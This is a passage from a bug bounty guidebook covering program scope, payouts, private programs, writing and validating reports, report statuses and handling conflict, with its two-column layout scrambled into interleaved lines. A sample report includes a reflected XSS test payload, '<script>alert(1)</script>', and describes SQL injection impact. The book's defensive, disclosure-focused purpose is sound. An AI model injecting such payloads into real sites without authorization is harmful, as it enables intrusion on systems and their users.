share knowledge, ask questions and collaborate on finding that align with your interests and skills.
vulnerabilities.
- Report Quality Vulnerabilities: Focus on finding signifi-
Benefits of Using Bug Bounty Platforms cant, high-impact vulnerabilities and write clear, detailed reports
that facilitate understanding and remediation by the business.
- Access to a Wide Range of Programs: The platforms allow
you to explore a wide variety of programs from different com- - Be Professional and Collaborative: Maintain respectful
panies and industries, expanding your opportunities to find vul- and constructive communication with companies, and collabo-
nerabilities and earn rewards. rate with them to address vulnerabilities efficiently.

- Clear Rules and Guidelines: The platforms ensure that - Participate in the Community: Join the platforms' forums
the rules of each program are clear and transparent, avoiding and communities to interact with other researchers, share

let ' s get to work 147

knowledge and learn from others' experiences. techniques?
- Disclosure requirements: How are you expected to report
Bug Bounty's platforms are a vibrant and constantly evol- vulnerabilities found?
ving ecosystem that offers unique opportunities for security
researchers. By taking advantage of the features and benefits
of these platforms, you can boost your Bug Bounty career, con- Payouts: Rewards for your Work
tribute to online security, and gain recognition for your skills
and knowledge. Payouts are the primary incentive for Bug Bounty resear-
chers. Companies offer financial rewards for responsible vulne-
rability identification and reporting. Reward amounts can vary

4. 5 – SC O P E , P AY M E N T S
significantly depending on the severity of the vulnerability, the
potential impact, and the company's reward policy.

AN D R ES P O NS E T I M E S When evaluating a program's payouts, consider the

following factors:

# 4. 5 - Reward structure: how are reward amounts determined;

are they based on severity of vulnerability, potential impact, or
a combination of both?
Understanding outreach, payouts and response times is cru- - Minimum and maximum: What is the minimum and maxi-
cial to maximizing your efforts and getting the most out of your mum reward offered by the program?
participation. This chapter will guide you through these essen- - Bonuses: Are bonuses offered for finding especially criti-
tials, providing you with valuable information to make informed cal vulnerabilities or for exceptional reporting?
decisions and optimize your experience as a security researcher. - Payment methods: How are payments made - cash, gift
cards, cryptocurrencies?
Scope: Defining the Boundaries of the Hunt - Payment terms: How long does it usually take for the
company to pay out rewards?
- The scope of a Bug Bounty program clearly defines which
assets are included in the program and therefore eligible for Response Times: The Importance of Communication.
security testing and rewards. It is critical to understand the scope
before you start looking for vulnerabilities, as this will help you Response times refer to the time it takes for a company to
focus your efforts in the right areas and avoid reporting issues respond to vulnerability reports. A quick response time is crucial
that are outside the established boundaries. to ensure that vulnerabilities are addressed in a timely manner
and risk to users is minimized.
- Scopes can vary significantly between programs. Some
programs may include a wide range of assets, such as web appli- When evaluating a program's response times, consider the
cations, mobile applications, APIs, cloud infrastructures and IoT following aspects:
devices. Other programs may have a more limited scope, focu-
sing on specific assets or certain types of vulnerabilities. - Initial response time: How long does it take for the com-
pany to acknowledge receipt of a vulnerability report?
When reviewing the scope of a program, pay attention to the - Triage time: How long does it take the company to assess
following details: the severity of a vulnerability and assign it to a development
team for remediation?
- Assets included: what products, services or systems are - Remediation time: How long does it take the company to
included in the scope? develop and deploy a patch to address the vulnerability?
- Exclusions: Are there assets or types of vulnerabilities that - Communication during the process: Does the company
are explicitly excluded from the program? keep researchers informed about the progress of the remediation?
- Restrictions: Are there restrictions on allowable testing

148 MILLIONAIRE RECORDS

 Tips for Choosing a Bug Bounty Program

- Align your skills and interests: Choose programs that focus

on areas in which you have experience and expertise.

- Research the company's reputation: Look for information

about the company's reputation in the Bug Bounty community.
Do they pay rewards on time? Are they responsive to vulnera-
bility reports?

- Read the rules and scope carefully: Make sure you unders-
tand the program rules and the scope of testing allowed.

- Evaluate rewards and response times: Consider whether

the rewards offered are fair and if response times are reasonable.

- Look for programs with good communication: Choose pro-

grams that have a clear and transparent communication chan-
nel with researchers.

By understanding the scope, payouts and response times,

you will be better prepared to choose the right Bug Bounty pro-
grams for you and maximize your chances of success. Remember,
the key is to research, evaluate and choose wisely to find the
programs that best suit your goals and skills.

let ' s get to work 149

4. 6 – P R I V ATE P R O- and its users.
- Close Collaboration: Direct communication with enter-

G R AMS # 4 . 6 prise security teams allows you to work as a team and learn from
subject matter experts.
- Access to Exclusive Resources: In some cases, private pro-
grams offer researchers access to exclusive resources, such as tes-
Private programs represent a higher level of collaboration ting environments, internal documentation and specialized tools.
and trust between companies and security researchers. This chap- - Recognition and Prestige: Being invited to a private pro-
ter will immerse you in the world of private programs, exploring gram is recognition of your skills and experience, which can boost
their distinctive features, advantages and how to access them your career and open up new opportunities.
to take your Bug Bounty career to the next level.
How to Access Private Programs
What are Private Programs?
1. Build your Reputation: Actively participate in public pro-
Unlike public programs, which are open to any investigator, grams, report quality vulnerabilities, create educational content
private programs are exclusive invitations to a select group of and share your knowledge in the security community.
security experts. Companies carefully select investigators based 2. Make Connections: Attend security conferences, partici-
on their experience, reputation and specialized skills. pate in industry events, and connect with other security resear-
chers and practitioners.
Distinctive Features of Private Programs 3. Request Invitations: Some Bug Bounty platforms allow
you to request invitations to private programs. You can also con-
1. Limited Access: Only invited investigators can partici- tact the companies you are interested in directly and express
pate in private programs. This creates a more controlled and your interest in participating in their programs.
focused environment where companies can work closely with 4. Demonstrate your Skills: When you are invited to a pri-
trusted experts. vate program, be sure to demonstrate your skills and knowle-
2. Increased Scope and Flexibility: Private programs typi- dge by reporting high quality vulnerabilities and collaborating
cally have a broader scope than public programs, including cri- effectively with the company.
tical and sensitive assets that are not publicly exposed. In addi-
tion, companies can be more flexible in terms of the rules and Bug Bounty's private programs offer a unique opportunity
types of vulnerabilities they accept. for security researchers looking for bigger challenges, higher
3. Higher Rewards: Due to the critical nature of the assets rewards and closer collaboration with companies. By building
and the exclusivity of the programs, rewards in private programs your reputation, establishing connections and demonstrating
are often significantly higher than in public programs. your skills, you can open doors to this exclusive world and take
4. Direct Communication: Researchers in private programs your Bug Bounty career to the next level.
have direct access to corporate security teams, which facilitates
communication and collaboration on vulnerability resolution.

4 .6 – T H E "R IGH T PRO-

5. Unique Learning Opportunities: Participating in private
programs gives you the opportunity to work on challenging,
high-impact projects, learn from industry experts and expand
your knowledge and skills.
GR AM" # 4 .7
Advantages of Bug Bounty's Private Programs
Choosing the right program is crucial to maximizing your
- Higher Rewards: The possibility of more substantial success and satisfaction as a security researcher. This chapter
rewards is an attractive incentive for researchers looking to will guide you through the key factors to consider when selec-
maximize their income. ting a program, giving you the tools you need to make informed
- Greater Impact: By working on critical assets, your findings and strategic decisions.
can have a significant impact on the security of the company

150 MILLIONAIRE RECORDS

 1. Define your Objectives and Priorities with researchers? Is there a clear and transparent communica-
tion channel? Do they respond quickly to vulnerability reports?
Before diving into the program search, it is critical that you Do they provide constructive feedback?
clearly define your goals and priorities. What are you looking to Reputation: What is the company's reputation in the
achieve through your participation in Bug Bounty? Do you want Bug Bounty community? Do they pay rewards on time? Do they
to earn money, gain experience, build your reputation, or con- recognize the work of researchers? Are they responsive to com-
tribute to the security of a specific project? ments and suggestions?

Also, consider your skills and areas of expertise: Are you an 4. Prioritize Programs that Align with Your Objectives
expert in web security, mobile applications, cloud infrastructure
or IoT devices? Do you prefer to look for specific vulnerabilities, Once you've evaluated several programs, it's time to prio-
such as SQL injection or XSS? ritize those that best align with your goals, skills, and time avai-
lability. Consider the following aspects:
Finally, evaluate how much time you can devote to bug
hunting - can you devote full time or just a few hours a week? - Alignment with your Interests and Skills: Choose programs
that focus on areas in which you have experience and expertise.
2. Research Available Programs This will allow you to leverage your strengths and maximize your
chances of success.
Once you've defined your goals and priorities, it's time to - Reward Potential: If your primary goal is to earn money,
research the Bug Bounty programs available. You can find pro- prioritize programs that offer attractive rewards and match your
grams on various platforms, such as HackerOne, Bugcrowd, expectations.
Intigriti and YesWeHack. These platforms offer a wide variety - Communication and Transparency: If you value open and
of programs from different companies and industries, allowing transparent communication, choose programs that have a good
you to explore and compare different options. track record of communicating with researchers and are clear
about their rules and processes.
In addition to platforms, you can also research private pro- - Reputation: If you are looking to build your reputation in
grams that are not publicly listed. Some companies have in-house the Bug Bounty community, choose programs from reputable
programs or work with private platforms to manage their Bug companies that recognize the work of researchers.
Bounty programs. You can find information about these programs
on company websites, on social media or through contacts in 5. Start Searching for Vulnerabilities
the security community.
Once you've chosen a program, it's time to start looking
3. Evaluate Programs in Detail for vulnerabilities. Read the program documentation carefully
to familiarize yourself with the rules, scope and rewards. Use
When evaluating Bug Bounty programs, it is important to appropriate tools and techniques to identify potential vulnera-
consider several key factors: bilities, and report your findings responsibly following the pro-
gram's guidelines.
- Scope (Scope): what assets are included in the program -
web apps, mobile apps, APIs, cloud infrastructure, IoT devices? Additional Tips:
Are there specific areas excluded from the scope?
- Rules: What are the program rules, what types of vulnera- - Don't Limit Yourself to a Single Program: Participate in
bilities are eligible for rewards, are there restrictions on allowable multiple programs to diversify your opportunities and learn from
testing techniques, what are the responsible disclosure policies? different companies and technologies.
- Payouts: What kind of rewards are offered: cash, swag, - Be Persistent and Patient: Finding vulnerabilities can take
reputation points, public recognition? What is the range of time and effort. Don't get discouraged if you don't find anything
rewards for different types of vulnerabilities? Is there a bonus right away.
program? - Learn from your Mistakes: If your reports are rejected,
- Communication: How does the company communicate learn from the feedback and improve your skills.

let ' s get to work 151

 - Collaborate with Other Researchers: Working in teams
can be a great way to learn, share knowledge and increase your
chances of success.
- Stay Current: Cybersecurity is constantly evolving. Stay
up-to-date on the latest trends, techniques and tools to stay
competitive.

Choosing the right Bug Bounty program is a crucial deci-

sion for your success as a security researcher. By defining your
goals, researching available programs, carefully evaluating key
factors and prioritizing the programs that best suit your needs,
you'll be on the right path to building a rewarding career and
contributing to a safer digital environment.

Here is a graphical comparison of the bug bounty tables of

some of the most famous programs.

Some important notes about this comparison:

- Bounty amounts may vary: The figures shown are appro-

ximate and may change depending on the severity of the vul-
nerability and the policy of each program.
- Not all programs have the same categories: Some pro-
grams may have additional categories or different names for
the same vulnerabilities.
- Company reputation is also important: In addition to
rewards, consider the company's reputation in the Bug Bounty
community, its payment history and its communication with
researchers.

How to use this table?

This table can help you to:

- Compare rewards: See which programs offer the highest

rewards for the types of vulnerabilities you are interested in.
- Choose programs: Select programs that match your skills
and objectives.
- Negotiate rewards: Get an idea of the usual payout ran-
ges for different vulnerabilities.

152 MILLIONAIRE RECORDS

let ' s get to work 153
 Example:

A SQL injection vulnerability has been discovered in

the website search parameter. This vulnerability allows an atta-
cker to execute malicious SQL commands in the database, which
could result in disclosure of sensitive information, modification
of data or even taking control of the server. It is recommended
to implement proper input validation and use parameterized
queries to prevent this type of attack.

3. Detailed Technical Description:

DETAILS THAT MAKE THE DIFFERENCE This section should provide a detailed technical explana-
LEARN FROM SANTIAGO tion of the vulnerability, including:

4.8 – GOOD REPORT - Steps to Reproduce: Step-by-step instructions on how to

reproduce the vulnerability.
- Proof of Concept (PoC): Code or examples that demons-

# 4. 8 trate the vulnerability in action.

- Impact: A description of the potential impact of the vul-
nerability, including the data or systems that could be affected.
The ability to write a clear, concise and effective report is - Root Cause: An explanation of the root cause of the vul-
crucial to success. A good report not only ensures that the vul- nerability, i.e., the error in the code or configuration that allows
nerability is understood and resolved quickly, but also reflects it to occur.
your professionalism and increases your chances of receiving a
fair reward. This chapter will guide you through the key elements 4. Recommended Solution:
of a high-quality Bug Bounty report.
Offer one or more solutions to remediate the vulnerabi-
1. Clear and Descriptive Title: lity. Be specific and provide code or configuration examples if
possible.
The title should concisely summarize the vulnerability found.
It should be specific enough so that the company's security team 5. Additional Information:
can quickly identify the problem, but also general enough to avoid
revealing sensitive details before it has been fixed. Include any other relevant information, such as screenshots,
debug logs, or references to similar vulnerabilities.
Example:
Tips for Writing a Good Report:
- Good: "SQL Injection vulnerability in the search parameter."
- Bad: "Website security issue". - Be clear and concise: Avoid unnecessary technical lan-
guage and use simple, straightforward language.
2. Executive Summary: - Be objective and professional: Avoid accusatory or threa-
tening language.
The executive summary is a brief description of the vulne- - Be accurate and detailed: Provide enough information for
rability, its potential impact, and the recommended solution. It the security team to reproduce and fix the vulnerability.
should be concise enough for an executive to quickly unders- - Be respectful and collaborative: Work with the security
tand, but also detailed enough for a technician to begin working team to find the best possible solution.
on the solution.

154 MILLIONAIRE RECORDS

155
let ' s get to work 155
 Sample Full Report: vulnerability more easily and accurately. Ultimately, this will
give you a better chance of a guaranteed payout and a much
Title: Cross-Site Scripting (XSS) Vulnerability Reflected in faster process.
Search Field.
Impact and Attack Scenarios
Summary: A cross-site scripting (XSS) vulnerability has been
discovered in the search field of the website. This vulnerability Also, the ability to describe the impact and attack scenarios
allows an attacker to inject malicious JavaScript code into the of a vulnerability is essential to demonstrate its severity and rele-
search results page, which then executes in the victim's browser. vance. This chapter will guide you through the steps necessary
This could result in stealing session cookies, disclosing sensitive to effectively communicate the potential damage a vulnerability
information or performing unauthorized actions on behalf of the can cause and how an attacker could exploit it.
victim. It is recommended to implement proper input validation
and encrypt output to prevent this type of attack. 1. Understand the Potential Impact

Detailed Technical Description: Before describing the impact, it is crucial to thoroughly

understand the vulnerability and its potential consequences.
Vulnerable URL: [URL]. Consider the following aspects:
Vulnerable parameter: q
Example payload: <script>alert(1)</script>. - Confidentiality: Could the vulnerability allow an attacker
Steps to reproduce: to access sensitive data, such as personal information, financial
1. Navigate to [URL]/<script>alert(1)</script> information or trade secrets?
Notice that a JavaScript alert is executed. - Integrity: Could an attacker modify or delete data without
2. Impact: authorization, causing damage or disruption to the system?
- Session cookie theft. - Availability: Could the vulnerability be used to launch a
- Disclosure of confidential information denial-of-service (DoS) attack, making the system or service
- Performing unauthorized actions on behalf of the unavailable to legitimate users?
victim. - Financial impact: Could exploitation of the vulnerability
Root Cause: result in direct or indirect financial loss to the company, such as
- Lack of input validation in search parameter. theft of funds, fraud or reputational damage?
- Lack of output coding on the search results page. - Physical security impact: In some cases, vulnerabilities in
systems connected to physical devices could have real-world
Recommended Solution: consequences, such as unauthorized control of industrial sys-
tems or medical devices.
- Input validation: Implement strict input validation in the
search parameter to reject any input containing special charac- 2. Identify Attack Scenarios
ters or scripts.
- Output Encoding: Encodes all search parameter output Once you understand the potential impact, it's time to iden-
before displaying it on the search results page. tify the most likely attack scenarios. Consider how an attacker
could exploit the vulnerability to achieve their goals.
Additional Information:
- Direct attack: Could the attacker exploit the vulnerability
- Screenshot of the JavaScript alert. directly, without the need for additional steps?
- Link to OWASP XSS Prevention Cheat Sheet: https:// - Chain attack: Could the vulnerability be used in combi-
cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_ nation with other vulnerabilities to achieve a more sophistica-
Prevention_Cheat_Sheet.html ted attack?
- Targeted attack: Could the attacker customize the attack
By writing a good detailed report, you have a much bet- to target specific users or systems?
ter chance that the Triage team will be able to reproduce your - Automated attack: Could the vulnerability be exploited

156 MILLIONAIRE RECORDS

on a large scale using automated tools?
By describing the impact and attack scenarios clearly and
3. Describe the Impact and Attack Scenarios in Your Report effectively, you are helping the business understand the seve-
rity of the vulnerability and take the necessary steps to protect
When writing your Bug Bounty report, be sure to include its systems and users.
a detailed section describing the impact and attack scenarios
of the vulnerability. Use clear and concise language, and avoid Recommend Possible Mitigations (optional)
exaggeration or speculation.
The ability to recommend effective mitigations is as impor-
- Impact: Describe the potential impact of the vulnerability tant as discovering the vulnerability itself. A good report should
in terms of confidentiality, integrity, availability, financial impact not only identify the problem, but also provide practical and via-
and physical security. ble solutions to address it. This chapter will guide you through
- Attack scenarios: Describes the most likely attack sce- the steps for recommending sound and relevant mitigations in
narios, including the steps an attacker could take to exploit the your Bug Bounty reports.
vulnerability and the objectives they could achieve.
- Evidence: Provide proof of concept (PoC) that demons- 1. Understand the Root Cause:
trates the vulnerability in action and supports your claims about
the impact and attack scenarios. Before recommending mitigations, it is critical to understand
the root cause of the vulnerability. What error in the code, con-
Example: figuration, or application logic allows the vulnerability to exist?
Identifying the root cause will allow you to propose specific and
Impact: SQL injection vulnerability allows an attacker effective solutions rather than simply applying superficial patches.
to execute arbitrary SQL commands in the application database.
This could result in the disclosure of sensitive user information 2. Research Best Practices:
such as names, email addresses, passwords and financial infor-
mation. In addition, an attacker could modify or delete data in Once you have identified the root cause, research best
the database, which could disrupt business operations or cause practices and recommended solutions for that type of vulnera-
financial damage. bility. Consult resources such as:

Attack scenarios: An attacker could exploit this vulne- - OWASP (Open Web Application Security Project): OWASP
rability by injecting malicious SQL code into application input offers detailed guidance and recommendations on how to pre-
parameters such as search fields or forms. For example, an atta- vent and mitigate a wide range of web vulnerabilities.
cker could inject an SQL query to extract all records from the - NIST (National Institute of Standards and Technology):
user table, or to modify a specific user's data. NIST provides security standards and guidelines for different
technologies and industries.
Proof of Concept: Attached is a Python script that - Security blogs and forums: Check out security blogs and
demonstrates how to exploit the SQL injection vulnerability to forums for the latest trends and expert-recommended solutions.
extract data from the database.
3. Consider the Application Context:
Tips:
Mitigations should be tailored to the specific context of the
- Be specific and realistic: Avoid generalizations and pro- affected application or system. Consider the following aspects:
vide concrete details on how the vulnerability could be exploi-
ted and what damage it could cause. - Technology: What programming language, framework or
- Prioritize the impact: Emphasize the most serious and platform is used?
relevant impacts to the business. - Architecture: What is the architecture of the application;
- Be professional and objective: Avoid alarmist or sensa- is it a web, mobile, desktop or cloud application?
tionalist language. - Security requirements: What are the specific security

let ' s get to work 157

requirements of the application or system? Additional Tips:
- Constraints: Are there any technical or resource cons-
traints that may affect the implementation of certain mitigations? - Stay current: Technology and security best practices
are constantly evolving. Stay informed about the latest trends
4. Propose Specific and Actionable Mitigations: and solutions in order to provide relevant and up-to-date
recommendations.
In your Bug Bounty report, present clear, specific and actio- - Be flexible: Tailor your recommendations to the specific
nable mitigations. Avoid generalities and provide technical details needs and constraints of each company and application.
on how to implement the proposed solutions. - Communicate clearly: Explain mitigations clearly and con-
cisely, using language that is understandable to both technical
- Prioritize Mitigations: If there are several possible solu- and non-technical audiences.
tions, prioritize those that are most effective, easy to imple-
ment, and have the least impact on application performance By following these steps and providing sound and relevant
and functionality. mitigation recommendations, you will be making a significant con-
- Provide Code Examples: If possible, include code examples tribution to improving the security of applications and systems,
or configurations that illustrate how to implement the recom- and strengthening your reputation as a Bug Bounty researcher.
mended mitigations.
- Consider Temporary Mitigations: If it is not possible to Validate the report
implement a permanent solution immediately, suggest tempo-
rary mitigations that can reduce risk while a long-term solution Report validation is a crucial step in ensuring the quality
is being developed. and accuracy of your findings. A well-validated report not only
increases your chances of receiving a reward, but also strengthens
5. Be Realistic and Balanced: your reputation as a reliable and professional security resear-
cher. This chapter will guide you through the best practices and
Recognize that not all vulnerabilities can be fixed immedia- techniques for validating your Bug Bounty reports before sub-
tely or with a perfect solution. Be realistic about the limitations mitting them to companies.
and propose mitigations that are feasible and provide a balance
between security, functionality and performance. 1. Check Reproducibility:

Example Mitigation Recommendation: The first step in validating your report is to ensure that the
vulnerability is reproducible. Follow the steps you described in
Vulnerability: SQL injection in the search parameter. your report and check if you can consistently replicate the vul-
nerability. If you cannot reproduce it, you may have made a mis-
Root Cause: Lack of input validation and use of dyna- take in your analysis or the vulnerability may have been fixed
mic SQL queries. since you found it.

Recommended mitigation: 2. Verify the Impact:

1. Input validation: Implement strict input validation on the Make sure the impact you described in your report is accu-
search parameter to allow only alphanumeric characters and a rate and realistic. Does the vulnerability actually allow the attacker
limited set of special characters. to perform the actions you mentioned? Is the potential impact as
2. Parameterized queries: Use parameterized queries or severe as you described? If necessary, perform additional tests
stored procedures to prevent injection of malicious SQL code. to confirm the actual impact of the vulnerability.
3. Escape special characters: If it is not possible to use para-
meterized queries, escape all special characters in the user input 3. Check the Root Cause:
before including them in the SQL query.
Check if you have correctly identified the root cause of
the vulnerability - is it a bug in the code, a misconfiguration, or

158 MILLIONAIRE RECORDS

a design problem? Understanding the root cause will help you Report validation is an essential step in the Bug Bounty
propose more effective mitigations and avoid superficial solu- process. By taking the time to validate your findings, you are
tions that do not address the underlying problem. demonstrating your commitment to quality and accuracy, and
increasing your chances of receiving a fair reward.
4. Test Mitigations:

If you have proposed mitigations in your report, test them

to ensure that they actually address the vulnerability. Implement
the mitigations in a test environment and verify if the vulnera-
4.9 – BUILDING A RELA-
bility can no longer be exploited.

5. Check the wording and structure:

T ION SH IP #4 .9
Effective collaboration with the development team is essen-
Make sure your report is well written and structured. Use tial to ensure that vulnerabilities are fixed quickly and efficiently.
clear and concise language, avoid grammatical and spelling errors, This chapter will guide you through strategies and best practices
and organize the information in a logical and easy-to-follow man- for building a strong and productive relationship with the develo-
ner. A well-written report is not only easier to understand, but pment team, fostering trust, communication and mutual respect.
also demonstrates your professionalism and attention to detail.
1. Understand their perspective:
6. Ask for a second opinion:
The first step in building a good relationship is to unders-
If possible, ask another security researcher to review your tand the development team's perspective. They are responsible
report. A second opinion can help you identify errors or areas for creating and maintaining the software, and they often have
for improvement that you may have overlooked. It can also give tight deadlines and multiple priorities. By understanding their
you a different perspective on the vulnerability and its poten- challenges and constraints, you can tailor your communication
tial impacts. and approach to be more effective.

7. Use Validation Tools: 2. Communicate Clearly and Professionally:

There are automated tools that can help you validate your Clear and professional communication is the foundation of
Bug Bounty reports. These tools can scan your report for com- any good relationship. When reporting vulnerabilities, be sure to:
mon errors, such as incomplete information, incorrect format-
ting or lack of proof of concept. - Be clear and concise: Describe the vulnerability accurately
and in detail, using appropriate technical language.
Anything else? - Avoid accusatory language: Don't blame or criticize the
development team. Instead, focus on the problem and how to
- Take your time: Don't rush to submit your report. Take the fix it.
time to carefully validate it and make sure it is as accurate and - Be respectful and collaborative: Show appreciation for
complete as possible. their work and offer your help in fixing the vulnerability.
- Be Honest and Transparent: If you find errors or incon- - Answer their questions: If the development team has ques-
sistencies in your report, don't try to hide them. Be transparent tions about your report, respond in a timely and thorough manner.
with the company and correct the errors before submitting the
final report. 3. Provide Detailed and Actionable Information:
- Learn from your Mistakes: If your report is rejected or recei-
ves negative comments, don't be discouraged. Learn from your To help the development team understand and fix the vul-
mistakes and use that experience to improve your future reports. nerability, provide the following information in your report:

- Steps to reproduce: Detailed instructions on how to

let ' s get to work 159

reproduce the vulnerability.
- Proof of Concept (PoC): Code or examples that demons- Building a strong relationship with the development team is
trate the vulnerability in action. essential to success in the Bug Bounty world. By understanding
- Impact: A description of the potential impact of the vul- their perspective, communicating effectively, providing detailed
nerability, including the data or systems that could be affected. information and offering your assistance, you can foster collabo-
- Root Cause: An explanation of the root cause of the vul- ration and ensure that vulnerabilities are fixed efficiently, bene-
nerability, i.e., the error in the code or configuration that allows fiting both the company and its users.
it to occur.
- Recommended mitigations: Suggestions on how to fix
the vulnerability. Understanding Report States

4. Be Patient and Understanding: Vulnerability reports go through different states as they are
reviewed, assessed and fixed by companies. Understanding these
Fixing vulnerabilities can take time, especially if they are states is crucial for security researchers, as it allows them to track
complex or affect critical systems. Be patient and understan- the progress of their reports, understand companies' decisions,
ding with the development team, and avoid pressuring them or and manage their expectations for rewards and recognition. This
demanding quick fixes. chapter will walk you through the most common reporting statu-
ses on Bug Bounty platforms and provide valuable information
5. Offer your help: for interpreting and responding to each.

If you have relevant knowledge or experience, offer your 1. New:

help to the development team to fix the vulnerability. This may
include: This is the initial status of a report when it is first submitted
to the platform. It indicates that the report is pending review by
- Providing additional information: If the development team the company's triage team. At this stage, it is important to be
needs more details or clarification, offer to provide it. patient and wait for the company to review your report.
- Helping with testing: If you have access to a test environ-
ment, offer to help test proposed solutions. 2. Triaged:
- Share your expertise: If you have expertise in a specific
area of security, share your knowledge with the development In this status, the company's triage team has reviewed your
team to help them improve their security practices. report and confirmed that it is a valid vulnerability. The vulne-
rability is now assigned to a development team for analysis
6. Thank and Acknowledge their Work: and remediation. This status indicates that your report is being
taken seriously and that steps are being taken to address the
When the development team has fixed the vulnerability, vulnerability.
thank and acknowledge their work. This will help build a posi-
tive relationship and foster future collaboration. 3. Needs More Info:

Additional Tips: In some cases, the triage team or development team may
need more information to understand or reproduce the vulne-
- Be Proactive: If you see that a vulnerability report has rability. If your report is in this status, respond to the company's
been open for a long time with no response, reach out to the questions in a timely manner and provide any additional infor-
development team to offer your help. mation they may need.
- Be constructive: If you have comments or suggestions
about the Bug Bounty program, share them constructively with 4. Resolved:
the company.
- Be a good ambassador: Represent the Bug Bounty com- This status indicates that the company has resolved the vul-
munity in a positive and professional manner. nerability. At this point, you may receive a reward and/or public

160 MILLIONAIRE RECORDS

recognition for your contribution, depending on program policies. - Learn from feedback: If your report is rejected or marked
as "Not Applicable," take advantage of the company's feedback
5. Not Applicable: to improve your future reports.

If your report does not meet the program requirements or if Understanding the different statuses of Bug Bounty reports
the reported vulnerability is not considered valid, the report may is essential to managing your expectations and communicating
be marked as "Not Applicable". This may happen if the vulnera- effectively with companies. By following best practices and uti-
bility is already known, if it is outside the scope of the program lizing this information, you will be better prepared to navigate
or if it does not represent a significant security risk. the Bug Bounty process and maximize your impact as a security
researcher.
6. Informative:

In some cases, reports that do not qualify for a reward may Dealing with Conflict
be marked as "Informative". This means that the information
provided in the report is valuable to the company, but does not Conflict can arise in a variety of situations, from disagree-
meet the criteria to receive a reward. ments over the severity of a vulnerability to misunderstandings
in communication with companies. This chapter will provide you
7. Duplicate: with strategies and tips for managing conflict effectively, while
maintaining professional and constructive relationships with
If another researcher has already reported the same vulne- companies and other researchers.
rability before you, your report may be marked as "Duplicate".
In this case, you will not receive a reward, but your report can 1. Remain Calm and Professional:
be used as additional evidence to confirm the existence of the
vulnerability. When conflict arises, it is crucial to remain calm and act in
a professional manner. Avoid emotional or impulsive responses,
8. Won't Fix: and focus on resolving the problem constructively. Remember
that the goal is to find a solution that benefits all parties involved.
On rare occasions, a company may decide not to fix a repor-
ted vulnerability. This may happen if the vulnerability is consi- 2. Communicate Clearly and Respectfully:
dered low risk, if the fix is too costly or complex, or if the vul-
nerability is present in a system that will soon be discontinued. Clear and respectful communication is critical to resolving
any conflict. Explain your point of view clearly and concisely,
9. Closed: using professional language and avoiding accusations or perso-
nal attacks. Listen carefully to the other party's perspective and
This status indicates that the life cycle of the report has try to understand their concerns.
ended. This can occur when the vulnerability has been resol-
ved, when the report has been marked as "Not Applicable", 3. Look for common ground:
"Duplicated" or "Will Not Be Remedied", or when an agreement
has been reached between the researcher and the company. Instead of focusing on differences, look for common ground
and areas of agreement. This can help build common ground and
Tips for Interpreting Report Statuses: make it easier to find a mutually acceptable solution.

- Be patient: The vulnerability review and remediation pro- 4. Be Flexible and Open to Compromise:
cess can take time. Don't despair if your report does not change
status immediately. In many cases, conflict can be resolved through compromise.
- Communicate proactively: If you have questions or con- Be willing to consider different perspectives and make conces-
cerns about the status of your report, don't hesitate to contact sions if necessary. Remember that the goal is to find a solution
the company. that works for everyone, not to win at all costs.

let ' s get to work 161

 you maintain professional relationships and find more effec-
5. Use Appropriate Communication Channels: tive solutions.

If the conflict arises on a Bug Bounty platform, use the Conflict is an inevitable part of any human interaction,
communication channels provided by the platform to resolve even in the world of Bug Bounty. By learning to manage conflict
the issue. Avoid taking the conflict to public forums or social effectively, you will be able to build stronger relationships with
networks, as this can worsen the situation and damage your companies, solve problems efficiently, and contribute to a more
reputation. positive and collaborative Bug Bounty environment.

6. Seek Mediation if Necessary:

If you are unable to resolve the conflict directly with the

other party, consider seeking mediation from a neutral third party,
4 .10 – W H Y YOU AR E
such as Bug Bounty's platform support team or an independent
mediator. A mediator can help facilitate communication, clear up
F AILIN G? # 4 .10
misunderstandings and find solutions that satisfy both parties.
Failure is an inevitable part of the learning and growth
Common Conflict Scenarios and How to Address Them: process. All researchers, even the most experienced, face times
when they fail to find vulnerabilities or their reports are rejected.
- Disagreement on the Severity of a Vulnerability: If you This chapter will explore the common reasons why researchers
disagree with the company's assessment of the severity of a vul- fail in Bug Bounty programs and provide you with strategies to
nerability, provide additional evidence and strong arguments to overcome these challenges and improve your results.
support your point of view. If necessary, request a second opi-
nion from another researcher or the platform's support team. 1. Lack of Knowledge and Skills:
- Reward Payment Delays: If the company is late in paying
your reward, communicate with them in a professional and res- - One of the most common reasons for failure in Bug Bounty
pectful manner to remind them of the outstanding payment. If is lack of technical knowledge and skills. Cybersecurity is a cons-
the problem persists, you can request help from the platform's tantly evolving field, and it is crucial to stay up-to-date on the
support team. latest trends, techniques and tools.
- Communication Problems: If you are having difficulty com-
municating with the company or feel they are not listening to - Solution: Invest time in learning and improving your skills.
you, try changing your approach or communication channel. If Participate in online courses, read blogs and specialized books,
the problem persists, seek mediation from a third party. attend conferences and workshops, and practice your skills on
- Conflicts with Other Researchers: If you have a conflict ethical hacking platforms such as Hack The Box, TryHackMe and
with another researcher, try to resolve it directly with them pri- PortSwigger Web Security Academy.
vately. If this is not possible, seek mediation from the platform
support team. 2. Lack of Focus and Strategy:

Additional Tips: Many researchers jump into Bug Bounty programs without a
clear strategy, jumping from program to program without a defi-
- Document everything: Keep a record of all communica- ned focus. This can lead to dispersion of effort and lack of results.
tions and actions related to the conflict. This can be useful if you
need to present evidence or escalate the issue. - Solution: Define your objectives and priorities. Choose
- Learn from your experiences: Every conflict is a learning programs that align with your skills and interests, and develop a
opportunity. Reflect on what went well and what you could vulnerability hunting strategy that is tailored to each program.
have done differently to improve your conflict resolution skills.
- Maintain a Positive Attitude: Even in difficult situations, 3. Lack of Persistence and Patience:
maintain a positive and constructive attitude. This will help

162 MILLIONAIRE RECORDS

 Finding vulnerabilities can be a long and tedious process. making the same mistakes in the future.
Many researchers get discouraged after a few unsuccessful
attempts and abandon the program. - Solution: Analyze your rejected reports and learn from your
mistakes. Ask for feedback from the company and other investi-
- Solution: Be persistent and patient. Don't give up easily gators, and use that information to improve your future reports.
and keep looking for vulnerabilities even if you don't find any-
thing right away. Remember that every failed attempt is a lear- Failure is a natural part of the learning process at Bug Bounty.
ning opportunity. By understanding the common reasons for failure and applying
the right strategies, you can overcome challenges, improve your
4. Lack of Communication and Collaboration: skills, and increase your chances of success in this exciting field.

Effective communication with the company and collabora-

4 .11 – W H AT T O DO
tion with other researchers are key to success in Bug Bounty. If
you do not communicate clearly and professionally, or if you are
unwilling to collaborate, your reports may be rejected or ignored.

- Solution: Improve your communication skills and collabo-

W H EN YOU AR E ST U C K
